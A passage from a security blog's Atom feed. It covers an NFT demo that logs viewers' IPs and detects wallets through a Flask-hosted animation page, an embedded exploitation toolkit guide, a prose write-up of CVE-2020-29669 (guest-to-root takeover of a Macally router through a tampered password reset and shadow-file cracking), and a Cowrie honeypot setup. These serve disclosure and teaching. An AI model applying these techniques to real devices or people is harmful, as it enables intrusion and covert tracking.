            &lt;span class=&quot;nb&quot;&gt;document&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;getElementById&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;wallet-eth&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;).&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;textContent&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;ETH Wallet: ✅&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
        &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
    &lt;span class=&quot;nt&quot;&gt;&amp;lt;/script&amp;gt;&lt;/span&gt;
&lt;span class=&quot;nt&quot;&gt;&amp;lt;/body&amp;gt;&lt;/span&gt;

&lt;span class=&quot;nt&quot;&gt;&amp;lt;/html&amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;The body consists of the original image, that is stored on IPFS. So far, the ‘animation’ looks like the real NFT and the user does not notice any difference.&lt;/p&gt;

&lt;p&gt;For demonstration, I overlay on top of the image the viewer’s actual IP address, which we receive from the web request data as well as the connected crypto wallets, which can be determined with the following javascript code.&lt;/p&gt;

&lt;div class=&quot;language-javascript highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;k&quot;&gt;if &lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;typeof&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;window&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;ethereum&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;!==&lt;/span&gt; &lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;undefined&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;nx&quot;&gt;console&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;log&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;Ethereum wallet connected&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;For the Flask webserver, first generate valid SSL/TLS certificates. This can be done using &lt;a href=&quot;https://letsencrypt.org/de/&quot;&gt;Let’s encrypt&lt;/a&gt;. Last, fill the IP address of the webpage with the actual one of the request and host the site. Use this domain and webpage as your animation URL in the NFT metadata&lt;/p&gt;

&lt;div class=&quot;language-python highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;kn&quot;&gt;from&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;flask&lt;/span&gt; &lt;span class=&quot;kn&quot;&gt;import&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;Flask&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;request&lt;/span&gt;


&lt;span class=&quot;n&quot;&gt;app&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nc&quot;&gt;Flask&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;__name__&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;


&lt;span class=&quot;nd&quot;&gt;@app.route&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;sh&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;/&lt;/span&gt;&lt;span class=&quot;sh&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;k&quot;&gt;def&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;animation&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;():&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;webpage&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;replace&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;sh&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;request.remote_addr&lt;/span&gt;&lt;span class=&quot;sh&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;request&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;remote_addr&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;


&lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;__name__&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;==&lt;/span&gt; &lt;span class=&quot;sh&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;__main__&lt;/span&gt;&lt;span class=&quot;sh&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;app&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;run&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;host&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;sh&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;0.0.0.0&lt;/span&gt;&lt;span class=&quot;sh&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;port&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;5005&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;ssl_context&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;
        &lt;span class=&quot;sh&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;fullchain.pem&lt;/span&gt;&lt;span class=&quot;sh&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;sh&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;privkey.pem&lt;/span&gt;&lt;span class=&quot;sh&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;))&lt;/span&gt;

&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
&lt;p&gt;&lt;br /&gt;&lt;/p&gt;

&lt;h2 id=&quot;is-this-a-problem&quot;&gt;Is this a problem?&lt;/h2&gt;

&lt;p&gt;&lt;img src=&quot;/assets/posts/ip-nft/nft-opensea.png&quot; alt=&quot;Screenshot of the NFT on opensea&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Not really. For centralized websites it is normal to collect data, such as user agent or IP for analytics and you usually cannot identify the natural person behind the IP-Address directly. In this case you could use it as analytics for the NFT creator.&lt;/p&gt;

&lt;p&gt;But does the person looking at the NFT on opensea know each individual NFT creator can collect data and track you? Do you know whether to trust the NFT creator on handling your data responsibly?&lt;/p&gt;

&lt;h2 id=&quot;references&quot;&gt;References&lt;/h2&gt;

&lt;ul&gt;
  &lt;li&gt;Mint your own NFT: &lt;a href=&quot;https://nftschool.dev/tutorial/mint-nftstorage-polygon/#introduction&quot;&gt;nftschool.dev&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;ERC-721: &lt;a href=&quot;https://ethereum.org/en/developers/docs/standards/tokens/erc-721/&quot;&gt;ethereum.org&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;IP-Logger: &lt;a href=&quot;https://medium.com/@convexlabs/this-nft-logs-your-ip-address-7f6f9cf2376e&quot;&gt;medium.com&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
</content>
  </entry>
  <entry>
    <title type="html">Exploitation tools for embedded systems</title>
    <link href="https://code-byter.com/2022/01/28/embedded-tools.html" rel="alternate" type="text/html"/>
    <id>https://code-byter.com/2022/01/28/embedded-tools.html</id>
    <published>2022-01-28T00:00:00+00:00</published>
    <updated>2022-01-28T00:00:00+00:00</updated>
    <category term="exploit"/>
    <category term="security"/>
    <category term="embedded"/>
    <summary type="html">Here’s a collection of tools I commonly use for exploiting embedded systems together with an installation guide. This post will be updated regularly, to include the latest scripts and tools.</summary>
    <content type="html" xml:base="https://code-byter.com/2022/01/28/embedded-tools.html">&lt;p&gt;&lt;img src=&quot;/assets/posts/binary-exploitation-tooling/thumbnail.jpeg&quot; alt=&quot;Thumbnail containing a photo terminal commands and a microcontroller&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Here’s a collection of tools I commonly use for exploiting embedded systems together with an installation guide. This post will be updated regularly, to include the latest scripts and tools.&lt;/p&gt;

&lt;p&gt;&lt;!--more--&gt;&lt;/p&gt;

&lt;h2 id=&quot;gdb-debugger&quot;&gt;GDB Debugger&lt;/h2&gt;

&lt;p&gt;For debugging I recommend the GNU Arm Embedded GCC binaries from &lt;a href=&quot;https://github.com/xpack-dev-tools/arm-none-eabi-gcc-xpack&quot;&gt;xpack-dev-tools/arm-none-eabi-gcc-xpack&lt;/a&gt;. Download the the latest release (e.g. &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;xpack-arm-none-eabi-gcc-10.3.1-2.3-linux-x64.tar.gz&lt;/code&gt;) and unpack it.&lt;/p&gt;
&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;mkdir -p ~/opt/xPacks/arm-none-eabi-gcc
cd ~/opt/xPacks/arm-none-eabi-gcc

tar xvf ~/Downloads/xpack-arm-none-eabi-gcc-10.3.1-2.2-linux-x64.tar.gz
chmod -R -w xpack-arm-none-eabi-gcc-10.3.1-2.2
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;In the following, the gdb binary with python support (&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;arm-none-eabi-gdb-py3&lt;/code&gt;) is used. It is located in &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;arm-none-eabi-gcc/xpack-arm-none-eabi-gcc-10.3.1-2.2/bin/&lt;/code&gt;&lt;/p&gt;

&lt;h2 id=&quot;gdb-with-gef&quot;&gt;GDB with GEF&lt;/h2&gt;
&lt;p&gt;&lt;a href=&quot;https://github.com/hugsy/gef&quot;&gt;GEF&lt;/a&gt; is a set of commands to assist exploit developers and reverse-engineers when using old school GDB. It provides additional features to GDB using the Python API to assist during the process of dynamic analysis and exploit development.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/posts/binary-exploitation-tooling/gef.png&quot; alt=&quot;Screenshot of gdb with GEF&quot; /&gt;&lt;/p&gt;

&lt;p&gt;To install GEF, clone the repository and create the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;~/.gdbinit&lt;/code&gt; file with the source command for gef in the respective directory.&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;git clone https://github.com/hugsy/gef.git

# Create the new gdbinit
echo &quot;source /path/to/gef/gef.py&quot; &amp;gt; ~/.gdbinit
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;For ARM Cortex M support, we need to install &lt;a href=&quot;https://github.com/hugsy/gef-extras&quot;&gt;gef-extras&lt;/a&gt;. Gef-extras is an open repository of external scripts and structures to be used by GEF. To install it, run the installation script in the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;gef/scripts&lt;/code&gt; directory and add the source command for the CPU architecture to the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;~/.gdbinit&lt;/code&gt; file.&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;bash /path/to/gef/scripts/gef-extras.sh

# Create the new gdbinit
echo &quot;source ~/.config/gef-extras/archs/arm-cortex-m.py&quot; &amp;gt;&amp;gt; ~/.gdbinit
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;When you launch the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;arm-none-eabi-gdb-py3&lt;/code&gt; debugger, you should see the GEF interface. All you need to do no, is set your architecture manually by the following command in the gef prompt:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;gef➤  python set_arch(&apos;ARM-M&apos;)
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;h2 id=&quot;ropper&quot;&gt;Ropper&lt;/h2&gt;

&lt;p&gt;A binary exploitation challenge wouldn’t be fun, if the stack is executable. For return oriented programming, finding gadgets to use can be automated.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/posts/binary-exploitation-tooling/ropper.png&quot; alt=&quot;Screenshot of Ropper&quot; /&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href=&quot;https://github.com/sashs/Ropper&quot;&gt;Ropper&lt;/a&gt; displays information about binary files in different file formats and you can search for gadgets to build rop chains for different architectures.&lt;/p&gt;

&lt;p&gt;It can be installed with pip.&lt;/p&gt;
&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;sudo pip install capstone
sudo pip install filebytes
sudo pip install keystone-engine

pip install ropper
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;You can now use it to print all available gadgets or search for specific ones.&lt;/p&gt;
&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;ropper --file main.elf -a ARMTHUMB --search &quot;mov r0&quot;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;h2 id=&quot;ghidra-software-reverse-engineering-framework&quot;&gt;Ghidra Software Reverse Engineering Framework&lt;/h2&gt;

&lt;p&gt;&lt;img src=&quot;/assets/posts/binary-exploitation-tooling/ghidra.png&quot; alt=&quot;Screenshot of Ghidra&quot; /&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href=&quot;https://github.com/NationalSecurityAgency/ghidra&quot;&gt;Ghidra&lt;/a&gt; is a reverse engineering framework created and maintained by the National Security Agency Research Directorate. It includes software analysis tools that help to analyze compiled code. Capabilities include disassembly, assembly, decompilation, graphing, and scripting.
It helps to get an overview which functionalities are available within your binary and how specific functions are implemented.&lt;/p&gt;

</content>
  </entry>
  <entry>
    <title type="html">WiFi Travel Router Security</title>
    <link href="https://code-byter.com/2022/01/05/macally-wifi.html" rel="alternate" type="text/html"/>
    <id>https://code-byter.com/2022/01/05/macally-wifi.html</id>
    <published>2022-01-05T00:00:00+00:00</published>
    <updated>2022-01-05T00:00:00+00:00</updated>
    <category term="exploit"/>
    <category term="wifi"/>
    <category term="security"/>
    <summary type="html">The security researcher @silky and I looked into the security of a low-cost wifi travel router. We were able to find and exploit a vulnerability in web interface and escalate privileges from guest user to admin and finally root user. The full vulnerability is published under CVE-2020-29669.</summary>
    <content type="html" xml:base="https://code-byter.com/2022/01/05/macally-wifi.html">&lt;p&gt;&lt;img src=&quot;/assets/posts/macally-wifi/thumbnail.jpg&quot; alt=&quot;Thumbnail containing a photo of the wifi router&quot; /&gt;&lt;/p&gt;

&lt;p&gt;The security researcher &lt;a href=&quot;https://twitter.com/s1lky_1337&quot;&gt;@silky&lt;/a&gt; and I looked into the security of a low-cost wifi travel router. We were able to find and exploit a vulnerability in web interface and escalate privileges from guest user to admin and finally root user. The full vulnerability is published under CVE-2020-29669.&lt;/p&gt;

&lt;p&gt;&lt;!--more--&gt;&lt;/p&gt;

&lt;h3 id=&quot;overview&quot;&gt;Overview&lt;/h3&gt;

&lt;p align=&quot;center&quot;&gt;
&lt;img src=&quot;/assets/posts/macally-wifi/web-login.png&quot; alt=&quot;Screenshot of the login web interface&quot; width=&quot;75%&quot; /&gt;
&lt;/p&gt;

&lt;p&gt;This is a writeup the CVE-2020-29669 vulnerability of the Macally WIFISD2-2A82 Travel Router (Firmware version: 2.000.010). The router offers a web interface to access and share files. If the credentials of the guest user are known, the access can be used to escalate privileges to admin and root user.&lt;/p&gt;

&lt;h3 id=&quot;exploitation&quot;&gt;Exploitation&lt;/h3&gt;
&lt;p&gt;The guest user is able to reset its own password. This process has a vulnerability which can be used to take over the administrators account.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/posts/macally-wifi/http-request.png&quot; alt=&quot;Proxy intercept of the password change request&quot; /&gt;&lt;/p&gt;

&lt;p&gt;The password change request can be intercepted with a HTTPS proxy like Mitmproxy or Burp Suite. The message body contains the username and passwords of the password change request. The name can be modified from guest to admin or any other one. This allows the guest user to control the password of all - even higher privileged - users.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/posts/macally-wifi/vulnerability-overview.png&quot; alt=&quot;Overview of the exploitation process&quot; /&gt;&lt;/p&gt;

&lt;p&gt;After a simple portscan, a Telnet access is found, where the admin user can log into using the previously set password. Now, we have full terminal access, but the rights are still limited, as the user does not have full write access.&lt;/p&gt;

&lt;p&gt;As the admin user has read access to the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;/etc/passwd&lt;/code&gt; and &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;/etc/shadow&lt;/code&gt;, all usernames and password hashes can be dumped. A new root user can be found, which is not available in the web interface, thus the average user cannot change its password. The hash of this user can be cracked easily with hashdump or John the Ripper, which results in a complete system compromise. This password (hash) was identical on all devices I tested.&lt;/p&gt;

&lt;h3 id=&quot;automation&quot;&gt;Automation&lt;/h3&gt;

&lt;p&gt;The whole exploitation process is automated with a python script, which can be found in the corresponding GitHub repository. It authenticates as guest user, resets the admin password and dumps the password hashes. If the root hash is known, a root password is printed and a shell is spawned, otherwise the password is cracked with hashdump.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/posts/macally-wifi/exploit.png&quot; alt=&quot;Screenshot of the exploit script&quot; /&gt;&lt;/p&gt;

&lt;h3 id=&quot;resources&quot;&gt;Resources&lt;/h3&gt;

&lt;ul&gt;
  &lt;li&gt;GitHub: &lt;a href=&quot;https://github.com/code-byter/CVE-2020-29669&quot;&gt;CVE-2020-29669&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;NIST: &lt;a href=&quot;https://nvd.nist.gov/vuln/detail/CVE-2020-29669&quot;&gt;nvd.nist.gov&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
</content>
  </entry>
  <entry>
    <title type="html">How to build a honeypot</title>
    <link href="https://code-byter.com/2022/01/01/honeypot-installation.html" rel="alternate" type="text/html"/>
    <id>https://code-byter.com/2022/01/01/honeypot-installation.html</id>
    <published>2022-01-01T00:00:00+00:00</published>
    <updated>2022-01-01T00:00:00+00:00</updated>
    <category term="honeypot"/>
    <category term="exploit"/>
    <category term="networking"/>
    <summary type="html">A Honeypot is a closely monitored computing resource in your network which is intended to be compromised. It allows for in-depth examination of conducted exploits and provides early-warning about new attack trends. This post shows how to install a Cowrie honeypot together with elasticsearch and kibana for logging ans visualization. Cowrie is a medium to high interaction SSH and Telnet honeypot designed to log brute force attacks and the shell interaction performed by the attacker.</summary>
    <content type="html" xml:base="https://code-byter.com/2022/01/01/honeypot-installation.html">&lt;p align=&quot;center&quot;&gt;
&lt;img src=&quot;/assets/posts/honeypot-installation/thumbnail.jpeg&quot; alt=&quot;Thumbnail with honeypot dashboard&quot; width=&quot;75%&quot; /&gt;
&lt;/p&gt;

&lt;p&gt;A Honeypot is a closely monitored computing resource in your network which is intended to be compromised. It allows for in-depth examination of conducted exploits and provides early-warning about new attack trends.&lt;/p&gt;

&lt;p&gt;This post shows how to install a Cowrie honeypot together with elasticsearch and kibana for logging ans visualization. Cowrie is a medium to high interaction SSH and Telnet honeypot designed to log brute force attacks and the shell interaction performed by the attacker.&lt;/p&gt;

&lt;!--more--&gt;

&lt;h2 id=&quot;overview&quot;&gt;Overview&lt;/h2&gt;

&lt;p&gt;All configuration files are uploaded to this &lt;a href=&quot;https://github.com/code-byter/Awesome-Honeypot&quot;&gt;GitHub&lt;/a&gt; repository. You can deploy it to any Linux device in your internal network, to detect intruders or a VPS if you want to collect malware samples, like I did.&lt;/p&gt;
&lt;h2 id=&quot;prerequisites&quot;&gt;Prerequisites&lt;/h2&gt;
&lt;ul&gt;
  &lt;li&gt;Linux machine with at least 2CPU and 2 GB RAM. In case of less than 8gb RAM, make sure to use Swap Memory&lt;/li&gt;
  &lt;li&gt;Docker and docker-compose installed&lt;/li&gt;
  &lt;li&gt;Suitable firewall and security configuration&lt;/li&gt;
&lt;/ul&gt;

&lt;h2 id=&quot;ssh-configuration&quot;&gt;SSH Configuration&lt;/h2&gt;

&lt;p&gt;The honeypot will use port 22, so we need to change the port of the actual ssh service.&lt;/p&gt;
&lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;nb&quot;&gt;sudo &lt;/span&gt;nano /etc/ssh/sshd_config
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
&lt;p&gt;Edit the sshd config file and set the ssh port&lt;/p&gt;
&lt;div class=&quot;language-text highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;Port 2200
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
&lt;p&gt;Restart the ssh service. You can access your machine via ssh on port 2200&lt;/p&gt;
&lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;systemctl restart sshd
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;h2 id=&quot;honeypot-setup&quot;&gt;Honeypot setup&lt;/h2&gt;
&lt;p&gt;Install the Honeypot and elasticsearch for monitoring using docker-compose&lt;/p&gt;
&lt;ul&gt;
  &lt;li&gt;&lt;strong&gt;Cowrie&lt;/strong&gt;: SSH/Telnet Honeypot&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;Elasticsearch&lt;/strong&gt;: Database containing all logs&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;Logstash/Filebeat&lt;/strong&gt;: Pipeline for indexing the honeypot logs&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;Kibana&lt;/strong&gt;: UI to analyze the data and build dashboards&lt;/li&gt;
&lt;/ul&gt;

&lt;h3 id=&quot;download-required-files&quot;&gt;Download required files&lt;/h3&gt;
&lt;p&gt;Clone the repo containing the docker and elasticsearch configurations. For GeoIP locations the GeoIP data from &lt;a href=&quot;http://www.maxmind.com&quot;&gt;maxmind&lt;/a&gt; (free but requires registration) is required: Download the GeoLite2 City GZIP. Unzip it and locate the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;GeoLite2-City.mmdb&lt;/code&gt; file in the repo folder next to the docker-compose file.&lt;/p&gt;
&lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;git clone https://github.com/code-byter/Awesome-Honeypot.git
&lt;span class=&quot;nb&quot;&gt;cd &lt;/span&gt;Awesome-Honeypot
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;h3 id=&quot;launch-containers&quot;&gt;Launch Containers&lt;/h3&gt;
&lt;p&gt;Next, the docker containers can be launched. This might take a while until all are fully operational.&lt;/p&gt;
&lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;nb&quot;&gt;sudo &lt;/span&gt;docker-compose up &lt;span class=&quot;nt&quot;&gt;-d&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;You can verify if the elasticsearch database is operational by the folowing curl command. It might take some minutes until the command works.&lt;/p&gt;
&lt;div class=&quot;language-text highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;root@ubuntu-s-2vcpu-2gb-fra1-01:~/Honeypot# curl localhost:9200
{
  &quot;name&quot; : &quot;8e7w7ed73ae1&quot;,
  &quot;cluster_name&quot; : &quot;docker-cluster&quot;,
  &quot;cluster_uuid&quot; : &quot;GDdYud31343242SxXA&quot;,
  &quot;version&quot; : {
    &quot;number&quot; : &quot;7.14.1&quot;,
    &quot;build_flavor&quot; : &quot;default&quot;,
    &quot;build_type&quot; : &quot;docker&quot;,
    &quot;build_hash&quot; : &quot;66b55ebfa59c92c15db3f69a335d500018b3331e&quot;,
    &quot;build_date&quot; : &quot;2021-08-26T09:01:05.390870785Z&quot;,
    &quot;build_snapshot&quot; : false,
    &quot;lucene_version&quot; : &quot;8.9.0&quot;,
    &quot;minimum_wire_compatibility_version&quot; : &quot;6.8.0&quot;,
    &quot;minimum_index_compatibility_version&quot; : &quot;6.0.0-beta1&quot;
  },
  &quot;tagline&quot; : &quot;You Know, for Search&quot;
}
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
&lt;h3 id=&quot;configure-the-dashboard&quot;&gt;Configure the dashboard&lt;/h3&gt;

&lt;p&gt;&lt;img src=&quot;/assets/posts/honeypot-installation/dashboard.png&quot; alt=&quot;Screenshot of the honeypot dashboard&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Once your elasticsearch database is operational, you can import the dashboard configuration.&lt;/p&gt;
&lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;bash setup_index.sh
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;h2 id=&quot;access&quot;&gt;Access&lt;/h2&gt;

&lt;p&gt;The data can be accessed through the Kibana web interface on port &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;5601&lt;/code&gt;&lt;/p&gt;
&lt;ul&gt;
  &lt;li&gt;&lt;a href=&quot;http://localhost:5601/app/discover&quot;&gt;Discover&lt;/a&gt; lists the individual logs. It’s useful to get an overview of the data and query it.&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;http://localhost:5601/app/dashboards&quot;&gt;Dashboards&lt;/a&gt; shows the created dashboards. One of them is the previously imported one for your cowrie honeypot.&lt;/li&gt;
&lt;/ul&gt;
</content>
  </entry>
</feed>
